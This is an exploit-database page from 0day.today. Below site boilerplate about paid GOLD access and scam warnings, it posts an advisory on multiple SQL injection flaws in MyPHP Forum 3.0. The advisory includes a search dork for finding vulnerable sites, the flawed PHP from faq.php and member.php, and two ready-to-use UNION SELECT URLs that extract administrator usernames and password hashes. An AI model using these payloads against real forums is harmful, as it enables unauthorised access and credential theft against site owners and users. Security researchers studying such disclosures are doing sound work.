0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities
================================================================= MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities ================================================================= Name : MyPHP Forum <= 3.0 (Final) Multiple Remote SQL Injection Vulnerability Author : x0kster Script Download : http://www.myphp.ws/ Date : 31/12/2007 Dork : "Powered by: MyPHP Forum" Note: For work, magic_quotes_gpc must be turned off on the server. Usally the table prefix is 'nb'. Sql injection in faq.php <?php //faq.php [...] $id = $_GET['id']; if($action == "view" && !empty($id)) { $result = mysql_query("SELECT * from $db_faq WHERE id='$id'") or die(mysql_error()); // <-- So miss a control :-D $row = mysql_fetch_array($result); $row[answer] = postify($row[answer]); [...] ?> So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/* Sql injection in member.php <?php //member.php [...] if($action == "viewpro") { $member = $HTTP_GET_VARS['member']; $query = mysql_query("SELECT * FROM $db_member WHERE username='$member'") or die(mysql_error()); [...] ?> So $member variable isn't controlled so we can exploit it. PoC: http://Site/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/* # 0day.today [2024-12-25] #